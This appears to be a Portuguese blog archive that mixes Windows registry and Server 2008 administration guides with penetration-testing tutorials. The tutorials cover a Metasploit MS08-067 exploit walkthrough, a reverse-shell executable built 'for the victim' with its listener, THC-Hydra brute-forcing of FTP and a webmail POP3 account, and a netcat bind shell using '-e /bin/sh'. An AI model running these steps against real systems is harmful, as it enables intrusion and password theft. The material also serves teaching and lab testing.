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20/02/11

Como Funciona o Registo do Windows

O registo (registry) é uma base de dados hierárquica que contêm virtualmente todas as informações sobre a configuração do teu computador. Na versão anterior do Windows, estas configurações encontravam-se em ficheiros como o config.sys, autoexec.bat, win.ini, system.ini, control.ini e por ai adiante. Por esta explicação já podes compreender como é importante o registo. A estrutura do registo é similar à estrutura dos ficheiros. ini, mas vai além do conceito dos ficheiros .ini porque oferece uma estrutura hierárquica, similar às pastas e ficheiros do disco rígido. De facto, o procedimento usado de forma a chegar aos elementos do registo é similar à forma de chegar as pastas e ficheiros. Nesta secção examinarei unicamente o registo Win95\98 embora o do NT seja bastante similar.

O EDITOR DO REGISTRO (REGEDIT.EXE)
O editor do registo é uma utilidade que dá pelo nome de arquivo “regedit.exe” que te permite ver, procurar, modificar e guardar a base de dados do registo do Windows. O editor do registo não te deixa só validar os valores que escreveres : permite qualquer operação. Assim terás que prestar muita atenção, porque nenhuma mensagem de erro te será mostrada se fizeres asneira ou se deres uma operação errada ao registo.
Para lançar o editor do registo digita simplesmente RegEdit.exe (no WinNT digita RegEdt32.exe com privilégios de administrador). O editor do registo é dividido em duas secções no lado esquerdo tens a estrutura hierárquica da base de dados (a janela parece a do Windows Explorer) no lado direito tens os valores.

O registo é organizado em chaves (keys) e subchaves (subkeys). Cada chave contem uma entrada de valor, cada uma tem um nome, um tipo ou uma classe e o seu próprio valor. O nome é um enlace que identifica o valor com a chave. O comprimento e o formato do valor são dependentes do tipo de dados.

Como podes ver com o editor de registo, o registo é dividido em cinco chaves principais: não há nenhuma maneira de adicionar ou apagar chaves a este nível. Só duas destas chaves são guardadas eficazmente no disco rígido : HKEY_LOCAL_MACHINE e HKEY_USERS. As outras são unicamente filiais/ramificações das chaves principais ou são criadas dinamicamente pelo Windows.

HKEY_LOCAL_MACHINE
Esta chave contem todo e qualquer hardware, aplicações e informação dos serviços. As informações de vários componentes de hardware são actualizadas automaticamente quando o computador faz a boot ( acção de desligar e voltar a ligar o computador ). Os dados armazenados nesta chave são compartilhados por todos os Utilizadores. Esta chave tem muitas subchaves:

Config
contem dados de configuração para configurações de outros tipos de Hardware.

Enum
São os dados dos dispositivos. Para cada dispositivo no teu computador, podes encontrar a informação tal como o tipo de dispositivo, o fabricante do Hardware, os drivers do dispositivo e a configuração.

Hardware
esta chave contem uma lista das portas de série, dos processadores e de processadores de ponto flutuante.


Network
Contem a informação da rede.

Security
Mostra a informação da segurança da rede.

Softwares
Esta chave contem dados sobre o software instalado.

System
Contém os dados que verificam quais os drivers dos dispositivos que são usados pelo Windows e como estes são configurados.

HKEY_CLASSES_ROOT
Esta chave é um pseudonimo da ramificação HKEY_LOCAL_MACHINE\Software\Classes e contem as informações dos OLE, do sistema de pegar e arrastar (drag’n’drop), dos atalhos e da associação de ficheiros.

HKEY_CURRENT_CONFIG
Esta chave é também pseudonimo. Contem uma cópia da ramificação HKEY_LOCAL_MACHINE\Config, com a configuração actual do computador.

HKEY_DYN_DATA
Algumas informações guardadas no registo mudam com frequência, deste modo o Windows mantém parte do registo na memória em vez de o guardar no disco rígido. Por exemplo, armazena a informação de PnP e o desempenho de computador. Esta chave tem duas subchaves :

Config Manager (Gestor da Configuração)
Esta chave contem todos os códigos do problema de informação do Hardware, e ainda os seus estatutos. Há também a subchave HKEY_LOCAL_MACHINE\Enum, mas escrito de uma maneira diferente.

PerfStats
Contem dados do desempenho sobre o sistema e a rede.

HKEY_USERS
Esta importante chave contem a subchave .Default e uma outra chave para cada usuário que tiver acesso ao computador. Se houver apenas um usuário, so existe a chave .Default. Cada subchave mantem as preferências de cada usuário, como as cores do desktop, das fontes usadas e também das definições de muitos dos programas. Se abrires uma subchave de um usuário encontrarás cinco subchaves importantes:

AppEvent (Eventos de Aplicações)
Contem o caminho (path) dos ficheiros audio que o Windows toca/usa quando acontecem alguns eventos.

Control Panel (Painel de Controle)
Aqui encontram-se as configurações definidos no painel de controle. Costumavam estar guardados nos ficheiros win.ini e control.ini.

Keyboard Layouts (disposições do teclado)
Contem uma voz que identifica a verdadeira disposição do teclado como é ajustada no painel de controle.

Network (Rede)
Esta chave guarda subchaves que descrevem atalhos actuais e recentes da rede.

RemoteAccess (Acesso Remoto)
As definições do acesso remoto encontram-se guardadas aqui.

Software
Contem todas as definições do software. Estes dados eram armazenados no ficheiro win.ini e em ficheiros confidenciais do .ini.


HKEY_CURRENT_USER
é um pseudonimo do actual usuário de HKEY_USERS. Se o teu computador não estiver configurarado no modo de multiusuários, este indica para a subchave .Default do HKEY_USERS.

Descrição do ficheiro .reg
Aqui assumo que já tenhas um ficheiro .reg no teu disco rígido e que queiras saber mais sobre como este está estructurado.ATENÇÃO : não faças duplo-click sobre o ficheiro .reg ou o que quer que este ficheiro contenha lá dentro será adicionado ao registo, se o fizeres e se tal acontecer, tambem, surge logo a mensagem de atenção por parte do computador.
Agora, se queres ver as propriedades do ficheiro .reg abre-o no Notepad.
Para faze-lo abre primeiro o notepad indo ao Start>Programs>Accessories>Notepad. Uma vez aí vai a Ficheiro (File) abre o menu e clicka em abrir (open) e abre o ficheiro .reg.
O que diferencia os ficheiros .reg de outros ficheiros é a palavra REGEDIT4. É a primeira palavra de todos os ficheiros .reg. Se esta palavra não estiver lá então o editor do registo não pode reconhecer o ficheiro como sendo um ficheiro .reg.
Em seguida surge então a declaração chave que tem que ser feita dentro dos suportes quadrados e com o caminho inteiro (full path).Se a chave não existe, ela será então criada. Depois da declaração chave verás uma lista de valores que têm que ser ajustados na chave particular dos valores do registo.
O valor parecer-se-á com algo assim: "value name"=type:value (“nome do valor”=tipo:valor)
O value name (nome do valor) está entre aspas. O type (tipo) pode estar ausente de valores string (de enlace), dword: para valores dword e hex: para valores binarios e para todos os outros valores que tenhas de usar o código hex(#):, onde # indica o código API do tipo.

Nota Importante : enlace expandido tem o código API = 2 e o enlace estendido tem o código API = 7

Como podes ver, os enlaces estão entre aspas , dword é hexadecimal e binary (binário) é uma sequência de pares hexadecimais do byte, com uma vírgula entre cada. Se quiseres adicionar uma barra traseira num enlace lembra-te sempre de repeti-la duas vezes, para que o valor "c:\Windows" seja "c:\\Windows". Antes de escrever um ficheiro novo do .reg certifica-te de fazer isto ou receberás uma mensagem de erro.


Argumentos da linha de comando do Registry:
FILENAME.REG para fundir um ficheiro .reg com o registo.

/L:SYSTEM para especificar a posição de SYSTEM.DAT

/R:USER para especificar a posição de USER.DAT

/e FILENAME.REG [ CHAVE ] para exportar o registo para um ficheiro.
Se a chave for especificada, a filial/ramo inteira será exportada.

/c FILENAME.REG para substituir o registo inteiro por um ficheiro .reg.

/s para funcionar silenciosamente, sem informação ou avisos e alertas.

Gerir Partiçoes Server 2008

Tutorial sobre como criar partições no disco rígido no Windows Server 2008

1 Passo
Vá até o menu iniciar e clique com o botão direito em cima de computador, em seguida escolha Gerir.

2 Passo
Em  gestor do computador, clique em  gestor de disco

3 Passo
Clique com o botão direito em cima do disco que quer particionar, escolha a opção diminuir volume

4 Passo
Na tela que irá se abrir, digite o valor de sua partição em MB, no campo espaço a diminuir.

5 Passo
Note que após a confirmação da tela anterior, o Windows divide o seu disco e mostra um espaço no disco não alocado. Agora vamos criar logicamente a partição.

6 Passo
Clique com o botão direito em cima do espaço não alocado, e escolha novo volume simples

7 Passo
Clique em avançar

8 Passo
Se for usar todo espaço disponível é só clicar em avançar

9 Passo
Marque “Atribuir a seguinte letra a unidade” ou se preferir marque a opção que mais interessar

10 Passo
Escolha o Sistema de arquivo (NTFS) e o tamanho da unidade de alocação padrão, coloque o nome de sua nova partição, se estiver com pressa, marque executar uma formatação rápida, ainda nesta tela é possível também, activar a compactação de arquivos e pastas

11 Passo
Clique em concluir

12 Passo
Pronto, no gestor de computadores irá aparecer a sua nova partição, pronta para usar.


Autor : MrTcp

19/02/11

Instalar Servidor de Ficheiros no Server 2008

Para instalarmos um servidor de ficheiros no Windows Server 2008 necessitamos de instalar uma role nova com o nome File Service, para isso vamos a Start / Administrive Tools / Server Manager dentro  do server manager clica mos em Add New Role. Depois escolhemos  a role pretendida neste caso File Service.





Na imagem seguinte escolhemos a opçao File Server Resource Manage.

O Gestor de Recursos de Servidor de Arquivos é um conjunto de ferramentas que permite aos administradores compreender, controlar e gerir a quantidade e o tipo de dados armazenados nos seus servidores.


Em seguida escolhemos o disco rígido que vamos trabalhar e clicamos em opções.





Dentro do menu opções vamos seleccionar a opção File Screen Audit Report, com  esta opção vamos gerar relatórios da actividade do servidor.



Depois escolhemos o caminho para guardar os relatórios gerados e ainda pudemos definir um email para receber os relatórios.




Depois de tudo configurado clicar no botão instalar.


Neste momento temos o nosso servidor de ficheiros instalado pronto a ser feita a primeiro configuração inicial. 
No próximo artigo vou demonstrar como fazer uma configuração básico de uma servidor de ficheiros.

18/02/11

Activar Serviços Wireless no Windows Server2008


 Para pudermos utilizar uma rede wireless no novo windows server 2008 precisamos activar uma feature nova, para isso vamos a Start / Administrive Tools / Server Manager...





 Depois movemos a scroll bar ate ao fundo e selecciona mos Wireless lan Service...




 Depois de seleccionar a opção Wireless Service clica-se em seguinte




 Se o serviço do wireless foi instalado com êxito clicamos em close..




Agora ja pudemos usar uma placa wireless no nosso server 2008.



Autor : MrTcp

20/06/10

Exploit ms08_067_netapi + payload bind_tcp

MrTcp - Exploit ms08_067_netapi + payload bind_tcp

 

 

Ola desta vez vamos usar o exploit ms08_067_netapi  com a payload bind_tcp no meterpreter, mais informações sobre esta falha nos sistemas da Microsoft e como resolver pode ver neste link : MS08-067


PAYLOAD= windows/meterpreter/bind_tcp
EXPLOIT= exploit/smb/ms08_067_netapi

IP local= 192.168.1.4
IP remoto= 192.168.1.2

SO local = Backtrack4
SO remoto = Windows Server 2003 SP0

//Abrir o MetaSploit

# cd /pentest/exploit/framework3
#./msfconsole

//Escolher Exploit ms08_067_netapi

#use windows/smb/ms08_067_netapi

//Ver Opçoes

#show options

//Definir opçoes

#set RHOST 192.168.1.2

//Definir payload

#set payload windows/meterpreter/bind_tcp

//explorar a maquina

#exploit

//Se tudo correu bem ate aqui já estamos na maquina alvo, podemos executar o comando #help
 para ver todas as opções do framework disponíveis. Se quisermos abrir o DOS da maquina alvo e só digitar o comando #shell

Airodump-NG

Airodump-NG

  Airodump-ng 1.0 r1668 


  http://www.aircrack-ng.org

Tradução : MrTcp


 Sintaxe: airodump-ng [,,...]

  Opçoes:
      --ivs               : So captura IVs;
      --gpsd              : Usa GPSd
      --write         : Dump file prefix
      -w                  : Mesmo que:  --write
      --beacons           : Grava todos os beacons num ficheiro Dump;
      --update        : Mostra o Delay de Tempo em Segundos;
      --showack           : Imprime estatísticas ack/cts/rt;
      -h                  : Esconde estações conhecidas de  --showack;
      -f                    : Tempo em ms entre o salto de canais;
      --berlin           : Tempo antes de remover AP/cliente do visor quando nao houver mais pacotes recebidos (Padrão: 120 segundos);
                        
      -r           : Lê pacotes de um Ficheiro;
      -x          : Simulação active de scan;
      --output-format : Possíveis formatos de Saída: pcap, ivs, csv, gps, kismet, netxml

  Opções de Filtros:
      --encrypt   : Filtra AP’s por encriptação;
      --netmask : Filtra AP’s pela Mascara;
      --bssid     : Filtra Ap’s pelo BSSID;
      -a                  : Filtra clientes não associados;

  Por padrão o  airodump-ng opera nos canais da frequência 2.4Ghz.
  Pode-se capturar em outros canais específicos usando:    
 --channel   : Captura de canal especifico;
      --band         : Banda onde o Airodump-ng deve operar;
      -C      : Usa a frequência definida em Mhz;
      --cswitch  : Define método de selecção de Canal;
                    0     : FIFO (padrão)
                    1     : Round Robin
                    2     : Hop on last
      -s                  : Mesmo que :  --cswitch

      --help              : Mostra a Ajuda;

Exploit handler+reverse_tcp


Exploit handler+reverse_tcp

 

Bem Vindos, nesta vídeo aula vamos utilizar o MetaSploit FrameWork3. Vamos usar o exploit handler e a payload shell_reverse_tcp, primeiro  vamos configurar e criar o nosso executável  com a payload shell_reverse_tcp, depois vamos configurar o exploit handler com a payload shell_reverse_tcp para ficar a escuta das ligações da vitima.


PAYLOAD= windows/shell_reverse_tcp
EXPLOIT= exploit/multi/handler

localhost= 192.168.1.4
remotehost= 192.168.1.2

SO local = Backtrack4
SO remoto = Windows server 2003 SP1



//Usar a payload shell_reverse_tcp;

#./msfpayload windows/shell_reverse_tcp O



//Configurar a payload com o host local e a porta;

#./msfpayload windows/shell_reverse_tcp LHOST=192.168.1.4 LPORT=333 O



//Criar arquivo executável, a enviar para a vitima;

#./msfpayload windows/shell_reverse_tcp LHOST=192.168.1.4 LPORT=333 X > /tmp/MrTcp.exe


//Verificar o Arquivo criado;

#file /tmp/MrTcp.exe


//Abrir o framework;

#./msfconsole

//Usar o exploit hander;

#use exploit/multi/handler

//Mostrar as opções do handler;

#show options

//Adicionar payload reverse_tcp ao exploit;

#set payload windows/shell/reverse_tcp

//Mostrar opções da payload;

#show options

//Definir o host local para ficar a espera de ligaçoes;

#set LHOST 192.168.1.4

//Definir a porta local para ficar a espera de ligações;

#set LPORT 333

//Executar exploit

#exploit

 

 

THC-Hydra

THC-Hydra
http://freeworld.thc.org
12-05-2010
O THC-Hydra é uma ferramenta para ataques de força-bruta (brute-force) para vários protocolos de rede actualmente são suportados os protocolos listados em baixo, neste tutorial não vamos abordar todos os protocolos , futuramente vamos falar sobre cada um deles;
TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC,
          RSH, RLOGIN, CVS, SNMP, SMTP-AUTH, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS,
          ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco enable,
          LDAP2, Cisco AAA


Neste tutorial vamos utilizar o THC-Hydra para descobrir senhas dos seguintes protocolos: pop3, FTP, Telnet e SMB, todos os ataques vão ser realizados em maquinas virtuais dentro da minha rede e todas as passwords vão ser previamente definidas no dicionário a utilizar;
Ip do Servidor : 192.168.10.5
Ip Local : 192.168.10.3
Utilizador: MrTcp
Email – MrTcp-teste[at]live.com.pt
Password - *****

Sintaxe:

 hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
 [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
 server service [OPT]

Options:
  -R        #Restaura uma sessão abortada;
  -S        #Conecta via SSL
  -s porta              #Se o serviço estiver a correr numa porta diferente definir aqui
  -l           #Utilizador a utilizar;
 -L           #Ficheiro com varios utilizadores a utilizar;
 -p          #Password a utilizar;
-P           #Ficheiro ou dicionário de passwords a utilizar;
  -e ns     #Informação adicional o “n” verifica se existe passwords nulas e o “s” experimenta o nome do utilizador como password;
  -C ficheiro         #Ficheiro com utilizadores e passwords em coluna com o seguinte formato: "login:pass" e um por linha, é usado em vês das opções –Le –P;
  -M ficheiro       #Lista de servidores para ataques paralelos, um por linha;
  -o ficheiro         #Escreve utilizadores e passwords encontrados para um ficheiro em vez do stdout que imprime na tela;
  -f          #Desconecta depois de encontrar o primeiro utilizador/password;
  -t TASKS            #Executa as tarefas conforme o numero de ligações em paralelo, o padrão são 16;
  -w tempo         #Define o tempo maximo de espera em segundos para responder, o padrao é 30;  
  -v / -V                                 #Modo detalhado;
  Servidor            #IP ou DNS do servidor alvo, pode-se usar a opção –M em substituição desta;   
  Service               “Serviço ou protocolo a atacar, temos os seguintes disponíveis:
telnet,  ftp,  pop3[-ntlm],   imap[-ntlm], smb, smbnt, http[s]-{head|get} , http-{get|post}-form , http-proxy,  cisco ,  cisco-enable,  vnc,  ldap2,  ldap3,  mssql,  mysql,  oracle-listener,  postgres,  nntp,  socks5,    rexec,  rlogin,  pcnfs,  snmp,  rsh,  cvs,  svn,  icq,  sapr3,  ssh2,  smtp-auth[-ntlm] , pcanywhere,   teamspeak,  sip,  vmauthd …

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POP3
Neste exemplo vamos descobrir a password do email mrtcp-teste[at]live.com.pt usando o ataque de força bruta, este email é meu e foi criado previamente para este exemplo;
Sintaxe:
#hydra –S –v –l mrtcp-teste[at]live.com.pt–P /root/dic.dic pop3.live.com pop3
Definição:
-S    -> Conecta por ligação segura;
-v    -> Modo detalhe, permite verificar as passwords mais facilmente;
-l   -> Email a descobrir a password;
-P  -> Directorio onde se encontra o dicionário a utilizar;
Pop3.live.com   -> Dns do servidor POP3 da Hotmail;
Pop3  -> Protocolo a ser utilizado, neste caso é o POP3;


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FTP

hydra 192.168.10.3 ftp -l mrtcp -P /root/dic.txt -e ns -t 15 -f -o /root/pass 

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TELNET


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SMB



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Vídeo

19/06/10

Referência Rápida - MS DOS

 Comandos de rede do sistema MS-Windows

NB: Para mais informações de como se usa cada comando deve-se acrescentar o sufixo /?. eg. net /?

at - Agenda comandos para serem executados numa hora especifica.
finger - Mostra informações de um sistema que está a usar esse serviço.
hostname - Mostra o nome da estação de trabalho.
nbstat - Mostra as informações NetBIOS do sistema.
net continue - Reinicia um serviço que estava em pause.
net file - Lista de ficheiros abertos que estão partilhados.
net group - Adiciona, exibe ou modifica grupos globais no domínio.
net help - Ajuda do comando net.
net helpmsg - Mostra mensagens de erro/aviso/alertas do Windows.
net localgroup - Para manipular grupos locais.
net name - Exibe/adiciona/exclui nomes de um PC
net pause - Suspende um recurso ou serviço do Windows.
net send - Envia mensagens para outros computadores na rede.
net session - Lista ou desconecta sessões abertas.
net share - Exibe/adiciona/exclui recursos partilhados no computador.
net start - Inicia serviços e também lista.
net stop - Para serviços.
net time - Sincroniza a hora e a data dum computador.
net use - Conecta ou desconecta um computador a um recurso partilhado.
net user - Exibe/adiciona/exclui/modifica contas de utilizadores num PC.
net view - Mostra uma lista de recursos ou computadores partilhados na rede.
netstat - Exibe o estado actual das ligações TCP/IP.
nslookup - Fornece a conversão de nomes DNS.
pathping - Combina recursos tracert e ping para fornecer informações de rota e rastreio.
rasdial - Conecta a um servidor remoto.
rcp - Copia ficheiros de um computador para outro.
reg - Exibe/adiciona chaves no computador local.
rexec - Executa comandos numa máquina remota que está a usar o serviço rexec
rsh - Executa comandos numa maquina remota que está a usar o serviço rsh.
runas - Executa comandos com previlégios especificos.
start - inicia uma janela separada para executar um programa ou serviço.
tftp - Transfere ficheiros remotos duma maquina que esteja a usar o serviço lftp.

MS-DOS

Append - Semelhante ao Path: permite que programas abram ficheiros noutros directórios.
arp - Exibe/modifica tabelas de IP para MAC
attrib - Modifica propriedades de ficheiros.
cd - Muda de directório.
chkdsk - Utilitário usado para a verificação de erros no Disco.
cls - Limpa a tela.
copy - Copia ficheiros de um lugar para outro.
date - Exibe a data do sistema.
del - Apaga um ou mais ficheiros permanentemente.
dir - Lista os directórios ou ficheiros de uma pasta.
doskey - Utilitário do histórico dos comandos.
edit - Inicia e um programa de edição de texto.
exit - Sai da consola ou termina um serviço que está em execução.
expand - Expande ficheiros compactados no Windows.
fc - Compara dois ficheiros.
fdisk - Cria e apaga partições dum disco rígido.
find - Procura texto num ficheiro de texto. Case-Sensitive.
format - Apaga todo o conteúdo de um disco rígido.
ftp - Transferência de dados através do protocolo FTP.
help - Lista de comandos do DOS ou informação adicional de como se usa um comando.
md - Cria uma pasta.
more - Lista página a página um ficheiros de texto.
move - Move ficheiros ou pastas.
ping - Verifica a conectividade.
print - Imprime ficheiro.
rd - apaga directório.
ren - Muda de nome 1 ou mais ficheiros.
route - Exibe/adiciona/apaga rotas.
sort - organiza lista de ficheiros por ordem alfabética/numérica ou inversamente.
tracert - Exibe a rota de rede de um computador.
tree
- Exibe a estrutura de pasta de um disco rígido.
type - Mostra o conteúdo de um ou mais ficheiros.
ver - Versão do Windows
xcopy - Copia arquivos e árvores de directórios.

10/06/10

NetCat - Canivete Suiço do Tcp/Ip

NetCat
10/05/2010
[v1.10-38]
     O NetCat é uma ferramenta de rede que lê e escreve dados através de ligação de rede, usando o protocolo TCP / IP.

    Ele é projectado para ser um confiável "back-end" ferramenta que pode ser usada directamente ou facilmente conduzida por outros programas ou scripts. Ao mesmo tempo, é um depurador de rede rico em recursos e ferramentas de exploração, uma vez que pode criar praticamente qualquer tipo de ligação necessária e tem várias capacidades interessantes embutidas.

Sintaxe NetCat:                     

                               -c  [comandos shell] – Especifica comandos a serem executados após ligação, os comandos para serem executados são enviados por /bin/sh.
                               -e [ficheiro] – Específica um ficheiro a executar após a ligação;
                               -b : Permite BroadCast
                               -g [gateway]- Gateway’s de serviço, acima de 8;
                               -G [numero]: Numero de gateway’s de serviço: 4, 8, 12, …
                               -h : Mostra ajuda;
                               -i  [segundos] – Intervalo de tempo para enviar comandos ou fazer um scan;
                               -k : Mantém a shell aberta em caso de a ligação falhar;
                               -l : Modo de escuta, com este parâmetro o NetCat fica a espera de ligações de qualquer endereço;
                               -n : Só usa números IP, não utiliza servidores DNS;
                               -o [ficheiro] : Envia tráfego de rede para o ficheiro;
                               -p [porta] : Específica a porta a usar;
                               -r : Escolhe portas locais ou remotas aleatórias;
                               -q [segundos]: Cancela ligação após os segundos definidos se não houver tráfego na ligação;
                               -s [endereço] : Endereço local;
                               -T [TOS] : Time of Service – Duração da Ligação;
                               -t : Negocia ligações TelNet;
                               -u : Modo UDP;
                               -v : Modo detalhado, usar –vv para mais detalhes;
                               -w [segundos] : Tempo para a ligação;
                               -z : Modo E/S , usado para scan’s, envia os pacotes mas não aguarda ligação;
                              
Exemplos Netcat:

1-      Ligar ao endereço 192.168.100.20 na porta 23 ;
Sintaxe - # nc 192.168.100.20 23

2-      Fica a espera de ligações de qualquer endereço na porta 2010;
Sintaxe - #nc  –l –p 2010 -vv

3-      Verificar se o endereço 192.168.100.20 tem alguma porta aberta entre 1 e 10000 (scanner);
Sintaxe - #nc  -vv 192.168.100.20 1-10000

4-      Abrir a porta 150 para aceitar ligações e ter acesso a uma shell;
Sintaxe: nc –l 150 –e /bin/sh

5-      Transferir ficheiro MrTcp.txt para o endereço 192.168.100.20 porta 5000;
Sintaxe: #nc 192.168.100.20 5000 < MrTcp.txt